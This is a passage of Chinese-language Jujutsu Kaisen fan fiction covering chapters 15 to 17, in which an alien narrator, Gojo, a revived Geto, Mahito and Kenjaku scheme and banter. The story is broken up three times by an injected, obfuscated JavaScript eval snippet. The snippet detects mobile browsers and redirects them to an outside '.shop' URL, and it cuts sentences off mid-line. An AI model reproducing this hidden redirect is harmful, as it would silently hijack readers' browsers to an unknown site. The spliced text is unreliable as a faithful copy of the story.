五条悟,头发很软,嘴唇也很软,是因为吃太多大福吗?总吃一些软乎乎的东西,连本人都变成了软和的存在。 “这样啊,”五条悟轻快的回应一声,而后,难得一本正经的向我解释一番:“艾利恩是觉得,既然我们‘不要’里香,杰又想要,不如大家交换条件吧。” “嗯。”我果断肯定,事情比我想象的要轻松。 “而且有你在场,也不怕杰拿到里香之后用她来干坏事。” “没错。” “毕竟如果有谁受伤,艾利恩就会开始担心被我讨厌了对不对?”正经不超过一分钟,五条悟的语调又夸张的上扬起来。 但是... “嗯,我就是这么想的。” 他说的一点没错。 奇怪的是,明明得到的是肯定,五条悟的情绪反而落了下来,停在一个过分平稳,甚至严肃的水平线上:“艾利恩有看最近上映的那部电影吗?” 好吧,我就知道在这种非必要的场合五条悟是严肃不到哪里去的。 “你说水形物语吗?” 因为在威尼斯电影节成功获奖,虽然不是商业电影,但票房还算可观,女主角是一家实验基地的清洁工,听力正常但无法正常说话,而男主角则是被运送到试验基地的异形生物,据说在发现他的沼泽部落中,还是被奉为神明的存在。 一个不能说话,一个连人类的语言都理解不了,就这样相爱了。 ... 好草率。 五条悟也认可这句评价,但他的理由是我不曾考虑过的—— “居然一瞬间就接受了自己爱上其他物种的事情,难道就没有考虑过什么吗?未免也太果断了吧?!难道这就是爱的力量吗?心动的力量吗!” “你为什么这么生气。” “不,我才没有生气,完全没有!” 嘴硬,明明就有。 “还有那个外星人形象也都是刻板印象啊,谁说外星生物就非得是黏糊糊的,就不能是毛茸茸的吗?”五条悟继续发表着自己的反对意见。 “电影里没说男主角是外星生物吧,考虑到他生存在雨林地区,光滑的皮肤比较适宜当地的气候和沼泽地形。”这次我罕见的被他带偏,连真正重要的事情都忘了。 “那爱子为什么是毛茸茸的呢?” “不是你说猫咪比较容易解释吗?” 五条悟的愣住了,气势也歇了一半。 他闭着嘴,单手托着下巴,思考了一会,说: “哦,是这样,嗯,是我说的没错。” 我在心里叹了口气,刚打算走出卧室,就看见五条悟一边盯着我身后的柜子,一边不经意的问起:“所以你为什么会待在卧室,而且还站在衣柜旁边。” 我脚步一顿,头脑飞速运行—— “我没有必要偷你的衣服。” “虽然我没有这个意思...但你可是有过前科的哦,鸡肉小偷~” 很好,他果然被我回答带偏了。 我故作不满的皱起眉,“我又不想吃你的衣服。” “嗯?不想吗?可是衣服上面不是也会沾到...‘气息’?用你的说法。” “既然有本人,为什么还要衣服?” “是这样吗?这种机制吗?” 我眯了眯眼,按理说,相处时间越长,应该越是能理解对方的想法才对,为什么最近的反而是越来越听不懂五条悟的话了? 不过他倒是很快就能理解我在想什么,果然还是人类比较复杂吗。 “那...你为什么要站在衣柜旁边。现在也是。” 我为什么要站在衣柜旁边?这还用说吗,当然是因为—— 啊。 忘记夏油杰还在里面了。 沉默在房间里蔓延,五条悟耐心的看着我,不催促,但也没有要翻页的意思。 越是这种时候,我倒是越希望他能提出要求,不论多难办,总比毫无指向的等待来的方便。 “你,今天很奇怪。”我突然道。 估计是没想到我会这么问,五条悟下意识‘嗯?’了一声,然后慢慢的直起身体,让距离回到正常的范围,但‘这里’的正常一直都是与他、也与我无关的概念。 好机会。 “不吃吗?车站便当要冷掉了。”我低头看向他手中的便当袋。 五条悟也顺着我的视线低头,下意识动了动手腕,塑料袋的摩擦声在安静的房间里来的格外明显。 “要吃吗?”他问。 “只是尝一口,剩下的你吃。”我不假思索道。 · 那两个人在外面聊了多久,夏油杰就被关在衣柜里听了多久。 困惑,无奈,烦躁,再加上‘自己到底是在干什么’的自我怀疑,各种情绪交织,绘成一张名为‘无法理解’的网。 网格将思绪切成零散的片段,每一个段落都有属于自己的疑问,但拼在一起,反而构成答案。 难怪‘她’没有把情报泄露出去,原来是这样的‘关系’。 但说到底,只靠约定与利益交换维持的平衡到底算不算得上关系,他也不知道。 相比之下更不合理的,是她对现在这个已经失去术式的自己,更加浓厚的兴趣——甚至不止是兴趣。 五条悟似乎真的只是为了带一份伴手礼才回来一趟的,没过多久,他又听见关门的声音,然后是一道渐近的脚步声,再然后—— “走吧,我们去吃饭。” 刺入黑暗的光线没有带来预想中的疼痛,夏油杰更确定了,此刻的自己,只是外表看上去与从前无异,但如果要像对面的存在一样给自己下一个定义的话,现在的他,恐怕已经无法再被称之为人类了。 所以为什么。 那种像日常一样的对话是什么意思。 面对要吃掉自己的人,面对想吃掉的人,那种温馨到令人作呕的氛围是什么意思。 是伪装吗? 如果是伪装就好了,如果有任何一个人在假装、在强撑、在压抑某种真实——他都可以接受。 唯独他亲耳听到的真实,唯独眼前这张无比自然的脸,是绝对无法忍受的。 “不是人类,也不是咒灵,怎么还一副跟谁都是‘自己人’的口吻,真厉害啊。”他笑着感慨。 “有那回事吗?”我的眼珠朝左上角飘动,人类进行回忆时的微表情,“我只是在模仿他们的说话方式罢了。” ‘他们’? 夏油杰在心里重复这个意味深长的代称,这是在提醒自己吗。 “这也是你的兴趣?” “是为了达成目标的必要手段,顺带一提,我的目标是让五条悟自愿被我吃掉。” 比起目标的内容,夏油杰更惊讶的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254509|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她居然就这么说了出来。 而她也看出他的想法,坦然解释道:“我本来也打算告诉你的,因为不想你妨碍我。” “那为什么要让我躲起来,你明明还有更彻底的办法不是吗?” 夏油杰一边说,一边从走出柜子,嘴上说着示弱的话,眼睛却借着身高的优势俯视着眼前之人。 “可是我不想你消失啊。” “为什么?因为你的‘母爱’吗。” “不是,再说你看上去也不愿意叫我‘妈妈’。” 再听见这个荒谬的说法,夏油杰的内心已经毫无波动,他适应的很快,但并不为此感到骄傲。 不等他回答,她继续道:“虽然可以排除你的猜测,但具体的原因我也没法说明,老实说,在被问到‘为什么’要这么做的时候,我总是觉得很难回答。” 夏油杰神色一怔,直觉告诉他,这是她未曾对任何人袒露过的想法。 “如果有人问你,为什么要呼吸,你会怎么说?可能会说‘因为我想要活着’吧。但是那些不想活的人也在呼吸,这就解释不通了。” “而且在人类的语境下,‘想要活着’,应该是一个更深刻,更复杂的命题,跟‘呼吸’这样简单的生理反应并不能直接挂钩,所以哪怕实话实说,也有种答非所问的感觉。” “但差异也就出现在这里,我认为理所当然的事情,其他人总觉得要有一个的理由,否则就是有所隐瞒。” “所以你问我为什么不想让你消失,我也无法回答,因为无论你换多少种问法,无论你从哪里开始追问,我的答案都只有一个,但如果你需要的话,我还可以换更多种说法。” “你不是我的孩子,也无法再成为我的食物,也不需要为我做什么,考虑到我们之间的差异,做同类也勉强。” “你对我而言毫无意义。” “但我不想你消失,而且还想跟你分享食物,因为听你说咒灵很美味,我会开心,只比自己亲口吃到好吃的东西,少开心那么一点。” “虽然少开心了一点,但那种快乐,是无法通过吃饭体会到的。” “好了,我是很少跟人说这么多话的,作为报酬,你应该好好回答我一个问题。” 夏油杰没有听见自己的声音,但他的确张了张嘴。 等对面的人露出微笑,他才意识到这是为什么。 不是听力故障,而是注意力已经不属于自己了,他慷慨的全部托付给了另一个人。 可他并不后悔,因为他的确也想知道,如此一番坦诚相待之后,她会问出什么问题,什么才是在他这位不算同类的同类看来,真正重要的问题—— “去吃饭吗?杰。” ... 果然。 · 夏油杰走在一边,身上的衣服是我用触须做出来的,他说比起猴子的馈赠,他更愿意接受我的‘器官’,我说好歹他也是有过二十几年做人经验的,怎么说出的话比我还‘伪人’。 我已经很久没有通过简单的交涉实现什么目的了,要说一点成就感没有,那也是骗人。 所以我也想办一场庆功会之类的活动,或者... “今天也算你的生日。” 开生日会好了。 “耶稣吗。那你是什么,圣母玛利亚?” “我不介意你叫我妈妈,但我也不会给你抚养费就是了。” 夏油杰后悔说话了,但要让他把话题停在这里,他也无法接受。 “愿意分享食物就已经很慷慨了。”他笑着说。 我也算习惯他喜怒无常的样子了,接着他的话题继续:“我一直在想该跟你分享什么食物比较好,普通的咒灵你自己也能吃到,悟我又打算自己独享,思来想去,就只剩下这个了。” 走到熟悉的井盖旁边,我想起还有一件准备工作—— “你会布帐吗?” 夏油杰沉默了一会,点了点头。 等黑色的幕布将天空挡住,我用触须掀开井盖,熟练的潜入地下,刚打算往前走,就发现夏油杰迟迟没有动作。 啊,我懂了。 “不想爬梯子的话,也可以跳下来,‘妈妈’会接住你的。” 一边说,一边朝他敞开怀抱。 “这就不需要了。”他的声音里带着点不明显的忍耐。 待夏油杰来到地面,我装作没发现他那点抵触情绪,信口称赞:“真棒真棒(哟西哟西)。” “艾利恩原来是喜欢开玩笑的类型吗?”他突然笑着问我。 我转过身,盯着那张笑脸看了半天,也没看出个所以然来。 不过他这问话的方式还真是耳熟。 “这还是你第一次叫我的名字呢。”我不想告诉他这个发现。 理由,不明。 “不表扬我了吗?”他像是发现了什么,毫不介意的走到我身边,身体几乎要碰到我的肩膀。 这也是个得寸进尺的家伙。 我没有理他,而是沿着记忆和触须的坐标,朝着熟悉的位置走去。 等‘目标’出现在眼前时,夏油杰也停下脚步,如果没猜错的话,他也在观察这个正在低头看书,长相与人类别无二致,却散发着咒灵气息的‘人’。 我知道他肯定早就发现我们了,所以才在这里装模作样。 他盘腿坐在吊床上,那本《变形记》就摆在他的两腿中间,他还是没有养成穿鞋的习惯。 啪——一声,真人合上书,抬起头,笑着朝我们挥手。 “呀,好久不见啊,艾利恩酱,还以为你把我忘了呢。” “不过你为什么会跟夏油一起来呢?” 我不认为夏油杰是认识他的,所以他口中的‘夏油’,恐怕另有其人。 我没有回答他的问题。 因为这个问题不该由我来回答。 “担心你等不到人,干脆就把人带过来了。”夏油杰笑着说。 真人看向我,问:“是这样吗?” 我说是。 15.想吃的第十五天 “未免也太着急了吧,才不到一天哦。”真人眨了眨眼,满脸无辜。 还是不说话吗...看来那根所谓的触须虽然是威胁,但没有监视的作用。真人暗暗猜测。 紧接着话锋一转—— “话说你的额头是怎么回事?” 说话间,他故意看向一言不发的艾利恩,但只有‘夏油杰’自己知道他问的到底是谁,除非他不是他认识的那个夏油。 如果不是因为‘夏油’前脚刚走,还真有可能被蒙过去。 “什么?”夏油杰惊讶的问道,然后转过头来看向站在一边的人,“你没有告诉他吗?” 被问到的人摇了摇头,“还真没有。” 这下蒙圈的变成了真人,夏油杰看上去真不像是在撒谎。 “我帮他修好了。”我解释道,“用触须。” 真人没有说话,过了一会,他翻下吊床,毫无戒备的朝我们走来。 “走吧。”夏油杰朝我笑了笑,比他露出的任何一个微笑都要真挚,可能是想到很快就能拿回术式了吧。 但我不是很懂,如果他是想从真人口中得到情报,为什么要用这么大大费周章的方式? 直接问不行吗。 比如说你为什么认识我?你是不是见过一个跟我长得一模一样、并且自称是我的人,那个人现在在哪。 “杰,你在想什么。” 空气一阵沉默,察觉到真人饶有兴致的视线,我没理他。 “你觉得呢?”他不答反问。 我皱了皱眉,“我不喜欢这样说话,如果你需要什么,可以直接告诉我。” “看来这个世界上没什么难得倒你的。”他轻声说道,听不出什么情绪。 “不,恰恰相反。” 话音一落,两人同时看了过来。 “来到这里以后,我想做的事情,还没有真正做成过一件。” 真人挑了挑眉,不说话,只是微笑,一副看热闹的表情。 “听上去你也不是很遗憾。”夏油杰收回视线,不经意的扫了真人一眼,却没做过多停留。 “虽然没有成功,但也没有失败,既然还有机会,为什么要遗憾。” 夏油杰静静的注视着前方,又不作答了。 “如果你相信我,我一定帮你拿到你想要的东西。”我说。 “我倒是不怀疑你的能力...”夏油杰下意识想问‘为什么’。 但话还没出口,就被他咽回肚子里。 他暗自发笑。 还能为什么,当然是因为‘想’这么做啊。 “然后呢,我需要做什么?”夏油杰笑着说,没有回头。 “你什么都不需要做。” 不等真人想清楚这两人又在打什么哑谜,一道道泛着荧惑蓝光的触须就将他牢牢捆在原地。 真人瞪大双眼,笑了。 这家伙...太乱来了吧。 “那个人在哪?”我看着他,一字一句问到。 夏油杰也停下脚步,转过身来,就这么看着眼前这场突如其来的审讯,旁观者的姿态,仿佛这一切都与他无关。 真人也知道跟这个人耍小聪明占不到好处,但话又说回来了,夏油的去向,他还真不知道。 “你们应该猜的到吧,我也是在这里等人的,连他什么时候会来都不知道,怎么可能有他的行踪呢。” “那我们就在这里一起等。” 欸? 真人愣住了,如果不是双手动弹不得,他还真想用食指指向自己。 “我也要等吗?”真人干巴巴的问。 不得不说,站在观众的角度,夏油杰还是很喜欢看艾利恩跟人说话的。 我默默瞥了他一眼,真人接收到视线,也闭上了嘴。 但没有超过一秒。 “太过分了吧,什么都让女孩子帮你搞定。”真人不满的看向站在旁边,双手抱臂,完全不打算出手的夏油杰。 “你可不要被男人的鬼话骗了哦。”真人又换了对象。 “我无所谓。”我说。 真人彻底说不出话了,只是经他这么一提醒,夏油杰反而想到另一件事,问我:“不需要说一声吗?不回去的话。” 啊。 还真是。 与此同时,另一边—— “记得把玉犬藏好一点哦,不然会被我家的变色龙‘吧唧’——一口吃掉的。” 伏黑惠心如止水,“到底是猫还是蜥蜴。” 五条悟笑了笑。 “都不是,是外星人哦!” 如果不是听即将升入二年级的前辈们说起,伏黑惠多半会认为这是五条悟不知道从哪条小广告上看到的新型笑话,一点也不好笑的那种。 五条老师的家里住了外星人。 嗯,也没什么好意外的。伏黑惠心想。 “不用担心,艾利恩是毛茸茸的外星人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260813|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁在担心这个...”伏黑惠终于还是没忍住吐槽,“而且毛茸茸的外星人又是什么。” 五条悟还真被他问住了。 “头发,毛茸茸的。凑近看的话,皮肤上也有一点点白色的绒毛——像小baby一样呢。” 伏黑惠心情复杂,但也只是皱眉。 谁能告诉他眼前这人到底在想什么。 那可是会在战斗中突然倒戈,又随时可能连他本人都吃掉的危险人物啊。 听五条老师的意思,就算是他,也拿对方一点办法没有。 唯一让伏黑惠感到放心的是,作为除五条老师之外与之相处最久的人,乙骨前辈也认为对方对人类没有恶意。 “观察的还真仔细。”伏黑惠随口回应到。 “嗯?有吗?”五条悟突然反问。 哈...认真的吗。 伏黑惠眉头锁的更紧了,“本人都不确定吗。” “嗯,说的对,还是跟本人确认一下好了。” 五条悟煞有介事的点头。 伏黑惠一个字都不想打发给这个人了,连一句‘偷换概念’都不想吐槽。 如果不是五条悟按了三下门铃,连邻居都开门出来查看情况,自己家的门还是一动不动,伏黑惠一定可以说到做到。 “你没带钥匙吗。”伏黑惠面无表情的问。 “带了。”五条悟说。 “那为什么——” 不等伏黑惠把话说完,五条悟突然调头,将准备关门退场的邻居堵在门缝之间。 伏黑惠默默转头,已经没眼看了。 真想装作不认识这个人,现在还来得及吗。 “早上好,小野桑~” 小野悠人后悔啊。 他深吸一口气,勉强挤出一个正常的微笑:“早、早上好。” “艾利恩出门了吗?” 小野悠人心下一惊!这可不是出没出门这么简单的问题... “好像...是吧。” 他不动声色的用力,想悄悄把门关上,却发现手中的门纹丝不动,抬头一看,才发现是五条悟单手将门死死掰在原地—— 噫! 这下完蛋了。 “是和谁一起出去的呢?” 听到这个问题,伏黑惠也好奇的看了过来,唯独被紧张吞没的小野悠人还没有意识到事情的严重性,下意识就开口—— “一个小眼睛的黑发帅哥...” 16.想吃的第十六天 “忧太的眼睛不小吧?”五条悟回头看向伏黑惠。 “怎么想都不可能是乙骨前辈吧,他昨天就已经上飞机了啊。”伏黑惠一阵无语,他总不能说乙骨前辈的眼睛很大吧。 “伊地知?”五条悟开始搜索自己脑海中的黑发人士。 虽然内心已有判断,但伏黑惠是更不可能说出伊地知先生恐怕不属于这位小野先生眼中的帅哥这样的话的,否则就要出大问题了。 “伊地知先生应该不会随便来你家。”伏黑惠说。 “好过分啊。”五条悟还有闲心抱怨。 为了避免五条悟做出更多荒谬的猜测,伏黑惠上前一步,问到:“请问对方大概在什么年纪?” 小野悠人回忆了一下,不确定道:“可能...跟五条先生差不多吧?二十五到三十岁?” “欸,我看上去已经有三十岁了吗?那艾利恩呢?”五条悟一脸震惊。 “艾利恩小姐的话...可能二十岁上下吧,如果穿的休闲一点,说不定会被认成附近的中学生呢。”小野悠人自动回避了那个危险的问题。 “为什么啊,小野桑喜欢我们家艾利恩吗?”五条悟双手抱臂,故作不满的质问到。 小野悠人直接倒吸一口凉气,求生欲使他把脑袋摇的比被东堂葵狠狠揍了一拳的弹簧不倒翁还夸张—— “没有没有没有没有——绝对!绝对没有!” “哈?这么说你讨厌她?”五条悟又拔高了声调,甚至拖了个长音。 “也、也没有,就是普通、普通的尊敬着艾...” “身高、体型、穿着、或者特别的说话方式,这些您还有印象吗?” 此刻的伏黑惠在小野悠人眼中俨然成为了一位救世主,浑身上下散发着天使光辉。 旁边那位完全是个白色恶魔来的。 “有的有的,身高...大概比五条先生矮一点点,一米八七上下,体型偏瘦,但肩膀宽,穿着...就是普通的黑色长袖和休闲裤,跟补给站那边派发的很像...” “小白脸吗。”五条悟若有所思。 “两个人看上去关系不错,不过没有什么亲密举动,应该只是普通朋友吧。”小野悠人的声音越来越小。 “那家伙哪来的朋友啊。”五条悟纳闷道。 “好过分啊。”伏黑惠直接原话奉还,“这样就能排除认识的人了吧。” 五条悟刚准备开口,就听见手机一阵震动,他随口说了声抱歉,就当着两人的面打开手机——然后看了一分钟。 趁此机会,小野悠人偷偷关上了房门,只有伏黑惠的耐心在一点一点告罄。 他到底为什么要来这一趟,明明直接去任务地点等也是一样。 “怎么了?” 听到有人说话,五条悟如梦初醒般的回头,像是才想起这里还有个人。 伏黑惠的额角冒出一个井字。 “艾利恩说,她要跟朋友在外面待两天。” “她说朋友哦。” 啊,那又怎么了啊。 伏黑惠甚至想为一个连面都没见过、上一秒还被他看作威胁的外星人打抱不平,外星人就不能有朋友了吗? “应该不会干坏事吧。”五条悟煞有介事的担心着。 “...”伏黑惠累了。 “别看她一副老老实实的样子,那家伙可是会在打工的时候偷吃顾客的炸鸡的超级坏蛋哦!” “都寂寞成这样了,五条老师还是去找人吧。”伏黑惠凭良心给出了最后的忠告。 五条悟叹了口气—— “不行啊,本来想说好好给自己放个假,但是最近咒灵又开始活跃了。” 伏黑惠没有说话,他隐约猜到了答案,并且,他觉得五条悟也知道。 没有什么特别的事情发生,为什么咒灵数量会变多? 不,因为不是咒灵变‘多’了,而是那个一直在用另一种方式祓除咒灵的人不在了。 这是即使敌对,也绝对无法抹消的事实。 伏黑惠没有见过夏油杰,在乙骨前辈口中,他是罔顾人命的敌人,同时也是五条老师的挚友。 一向稳重的七海先生却说,即使是那样一个人,他也说不出一句责怪。 他无法认同夏油杰的做法,也没有太好奇他的初衷,随着风波平息,留下的只有这些只言片语的印象,也许过不了多久,他们都会忘记这件事——但五条老师不会。 这些就是他所知道的,关于夏油杰的全部了。 · 从人类的诅咒中诞生,从一开始就不是人的真人。 曾经是人,但死而复生,在我的影响下渐渐失去人类特征的夏油杰。 还有从始至终都算不上人类的我,到底谁离人类比较近,已经很难说清楚了。 唯一能确定的是,在这场由人类发明的uno游戏中,我们的胜负比是3:4:7,真人暂时落后,我勉强居中,夏油杰的胜场正好是我们两个输家的总和。 “作弊了吧。”我捏着手中越来越多的手牌,忍不住发出质疑。 “绝对。”没比我好到哪去的真人头也不抬的认同。 夏油杰笑而不语,他只剩下两张牌了。 “喂,真人,快点用功能卡。”我说。 “不行啊,我只有数字卡了。”真人哭丧着脸。 “加四。”夏油杰慢慢悠悠的掏出一张黑底的万能卡。 我死死的盯着真人,这个没用的家伙。 “别想耍赖。”夏油杰笑眯眯的催促着。 哪怕不甘心,我也知道遵守规则是将这场游戏进行下去的前提,只是在摸牌的时候,偷偷改变了下一张手牌的内容。 只要真人争气一点,别让夏油杰在这一轮跑掉—— “逆转。” 很好。 真人扔出的逆转是红色的,而我手中正好有一张红色的加二牌—— “加二。” 说完,我默默看向夏油杰。 谁曾想,这家伙随手就把最后的手牌摊在牌堆。 真人看了一眼,手中的卡片散落在地。 “应该早点作弊的,艾利恩酱。”他双手托脸,手肘撑在膝盖上,一脸埋怨的看着我。 我看看他,又看看夏油杰最后的那张绿色加二: “我明明还有红色的数字牌...” 夏油杰憋着笑,明智的保持沉默。 我用触须收起摊了一地的手牌,刚准备重新发放,就听见一道不紧不慢的脚步声。 在场的三人都听见了,默契的没有说话,只是静静的看着从阴影里走出的... “这家伙绝对是离人类最远的了。”真人没心没肺的笑着。 虽然没有开口,但我和夏油杰都在心里认同了他的看法。 “真人,这两个人是怎么回事。” 顶着火山头的家伙开口了。 “你认识?”我看向若有所思的真人。 他摇了摇头。 可惜啊,术式被人偷走了,这只烤肉味的咒灵应该还挺好用的。夏油杰独自遗憾。 “还有这个...”漏壶看向坐在一边的夏油杰,眯了眯他唯一的一只大眼睛,“又是怎么回事。” 他迟疑了。 一瞬间,我想明白了很多事情。 没有犹豫,我当即朝地面赶去,为了加快速度,干脆放弃用双脚行走,取而代之的是用章鱼的吸盘结构紧紧贴住整个下水道的底部与顶端的触须,牵引力带来比任何飞行方式都要快的速度。 我没有忘记分出一根触须缠在夏油杰腰间,带上他一起行动。 “杰。” “嗯。” 看见那张平静的面孔上没有迷茫,我就知道不需要解释了。 突如其来的变化打了漏壶一个措手不及,他神色不悦,伸手就想发动术式,但不等真人阻止,与他擦身而过的人身后直接飞出一根树干粗细的触须—— 摆出手势的手臂被直接斩断,啪嗒一声掉落在地,以他的眼睛为中心,只留下一个空洞。 他还张着嘴,呵斥没来得及出口。 “一个两个的,都是急性子呢。”真人轻笑一声,无聊的用一边的脚掌摩擦着地面。 “抱歉啊,没来得及告诉你,最好不要得罪那种不讲道理的家伙。” “话说你还活着吗?” 不知何时走到漏壶身边的真人弯着腰,好奇的打量着那个巴掌大的洞。 他刚想伸出手指试探,手腕就被人握住。 “她...到底是什么人?” 真人手腕一抬,毫不费力的将漏壶唯一幸存的手臂甩开,也不生气,只是望着另一头的出口,喃喃道: “搞不懂。” · 第一次见到真人的时候,羂索就开出了早已准备好的条件,对于有智慧的咒灵而言,无法拒绝的条件。 真人这家伙虽然不够坦率,但对他绘制的那副只属于咒灵的蓝图还算感兴趣,就在他以为至少能让这两大天灾会面的时候,真人却说自己要等一个朋友。 有人比他先到了? 看着毫发无损的真人,羂索漫不经心的猜测着。 人类? 什么样的人会跟咒灵勾结在一起,而且还在这么短的时间内结下友谊——哪怕是脆弱到不堪一击的友谊。 还是某个连有着千年寿命的他也未曾听闻的诅咒。 现在这个时代,还有这样特别的诅咒吗? 羂索对此表示怀疑。 距离计划开启还有一段时间,他并不急于这一时,就在羂索准备离开时,真人突然开口: “我虽然还挺喜欢那位朋友的,但她好像有点任性呢。” 羂索停下脚步。 “明明自己也不是人,却不准我对人类出手。” 还有这样的咒灵吗? 不知为何,羂索突然想到被封印在高专的九相图。 但他布下的眼线可没有告诉他封印有松动的迹象,更别说直接跑出来。 而且他可不觉得,人类的包容之心会宽厚到感化带有一半咒灵血统的存在,更别说还让对方有机会跟咒灵交流。 就算没有当场处死,至少也会有人专门看管,就比如...六眼之类的。 毕竟就算是百分百人类的乙骨忧太,一旦构成威胁,等待他的就是死刑——如果没有六眼插手的话。 也是因为这个,羂索头疼了很长一段时间。 放着不管不行,从源头消灭也不行,要不是又找到了另外的解决办法,后面的计划连推进的苗头都看不到。 不过好在... 透过地面上积雨而成的镜像,羂索满意的查看着自己的最新成果。 但不知为何,最近他总是有一种不太美妙的预感。 怎么说...就跟杀死还是婴儿的六眼那次一样,明明都过去了这么多年,临近仪式发动,本该死去的人最后还是出现了,最后又是竹篮打水一场空。 羂索撑着伞,听雨水敲打着伞面,天然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“的确,会给人一种你很不讲卫生的感觉,毕竟都死了这么多天了。”我理解他。 此情此景,饶是见多识广的羂索也是愣了一会才反应过来。 但活得久就是不一样,更别说自己也算起死回生这行的老前辈了。 羂索礼貌的笑着,朝两人挥了挥手: “初次见面,能聊聊吗?” 他脸皮真厚。 偷了人家的东西,还好意思打招呼。 我对他的好感度直线下降,考虑到这张脸毕竟还是夏油杰的,当着本人的面,不好把话说太难听。 “他笑起来跟你还挺像的。”我承认我是在没话找话。 废话,那就是我的脸——夏油杰也听出来了,所以这话他不想接。 夏油杰不回答,羂索也不嫌枯燥,好整以暇的将视线放在另一个人身上。 就是她吗。 雨下的很大,我和夏油杰站在羂索身后的屋檐下,偶尔有人从我们身后路过,两个长得一模一样的人面对面站着,即使隔着雨幕,也引起了一些路人的注意,甚至有好事者拿出手机拍照—— “欸,怎么突然死机了。”他反复按动着待机键,屏幕却没有丝毫反应。 不能再拖下去了。 “跟你没什么好聊的。”我说。 羂索挑了挑眉。 “把我儿子东西还回来,臭小偷。” 儿子?! 这下不止是手机故障的那位,在场的所有人但凡听到这句话的,都忍不住回过头—— 别说,这儿子跟爸爸长得还挺像...不对!这不是一模一样吗! 难怪孩子他妈这么生气...话说这位母亲也太年轻了一点吧?!是不是该报警啊。 “我不建议在这里动手呢。”羂索收起向两人问过好的手,自然的揣进袖口。 与此同时,街道的另一头—— “前面怎么那么多人?” 刚刚结束任务的五条悟正在跟伏黑惠闲逛,雨天路况不佳,负责接送二人的伊地知被堵在了另一条街。 伏黑惠本来还在看天气预报,听五条悟这么一说,随手点开社交软件,定位点的实时板块也有人在讨论。 为了避免因为五条老师想要看热闹,好不容易从堵车中突围的伊地知到达目的地又找不到人的情况,身为好学生的伏黑惠决定通过网络解答老师的疑惑。 “没什么,普通的家庭纠纷。” “嗯?那为什么...”五条悟还在往那边探头,隔着这么远的距离,身高也发挥不了多少作用。 “半路出家的僧侣父亲偷了儿子的东西,年轻的单亲母亲代替疑似患有自闭症的儿子追讨,顺带一提,父子二人长得一模一样,对于自己的基因完全没有参与度的母亲疑似公报私仇。” 五条悟听完了。 思考一会,点评到: “完全就是那个假和尚的问题嘛,单身妈妈独自抚养患病的孩子已经明明已经很不容易啦,最近的人真是偏心。” 伏黑惠完全赞同五条悟的看法。 五条悟就是在这个时候接到伊地知的来电的。 “抱歉,五条先生,麻烦你们走到路边来,车子实在开不过去。” “可以哦。” 过于爽快的回答让伊地知愣了愣神,为了防止五条悟反悔,他决定见好就收,干脆挂断电话。 “看来还是可以顺路看一看啦。”五条悟听上去心情不错。 伏黑惠默默收起手机,没有失望,但也没有无聊的大人对八卦的期待。 人潮已经一点一点散去,伏黑惠注意到讨论帖提到的地点就在距离两人不到五米远的地方,五条悟像是感应到了什么,突然停下脚步。 他盯着不远处那个被人好好盖住的井盖,说: “艾利恩来过这里。” 17.想吃的第十七天 “二位怎么称呼?” 走在前面带路的羂索礼貌问道。 夏油杰与我对视一眼,谁也没想到当着失主的面,他还能问出这种问题,但夏油杰也跟他开起了玩笑—— “连名字都不给我留吗?” 巧合的是,羂索选择的地点我来过,正是当初跟七海建人一起祓除咒灵的那栋废弃大楼。 “抱歉,我也忘记自己叫什么名字了,毕竟我的生存方式你们也看到了,没有属于自己的身体,自然也就没有名字。” 我不信。 “那你给自己起一个吧,寄生虫先生。”我说。 “看来你们关系不错”他毫无缘由的来了这么一句,“你看上去比夏油君还生气呢。” “偷东西是很卑劣的行为,因为不久之前才得知这个事实,所以印象格外深。”我解释道。 “的确,你看上去还很年轻,还在上学吗?”他笑了笑。 我没有接话。 “抱歉,因为我的孩子看上去跟你年龄相仿,所以难免会在意同龄人的教育问题。”他一副关心人的口吻。 “你都有孩子了啊”我随口感慨,“亲生的?” “看上去不像吗?”他笑着说。 他怎么这么爱笑。 “我这副身体对你来说,有这么好用吗?”夏油杰突然开口。 “咒术师的尸体都会被统一销毁,像这样的机会可不多呢。”他似乎是在答非所问,却也能自圆其说。 “我倒是有些好奇,你是怎么...变成现在这副模样的。”他意味深长的看了夏油杰一眼。 “还不都怪你。”我冷声道。 他眨了眨眼,“为什么?夏油君既不是我杀死的,复活也与我无关,怎么也不该是我的责任吧?” “不,我确定这一切都是你的责任。” 羂索心头一跳,对这个摸不清底细的女人,又多了几分忌惮。 “如果不是你,现在的他已经死了。” “不说感谢,至少也不该责备我吧,死而复生不是好事吗?” 他两手一摊,一副无奈的样子。 唯一有资格回答这个问题的夏油杰没有回答,他静静的望着我,几乎与我从他的记忆里看过的表情重合。 “可以拜托你帮忙吗?”他笑着说。 同样一张脸,这样的夏油杰笑起来倒是不叫人觉得讨厌。 “当然可以,我是个好妈妈。” 他不仅没有生气,脸上的微笑反而扩大了。 “继续陪你玩过家家也可以,一起吃你喜欢的食物也可以,只要把这个讨人厌的家伙赶走。” 我以为他会说把术式拿回来。 但相比起被偷走的东西,他似乎对偷东西的人意见更大。 “我也不喜欢他。” 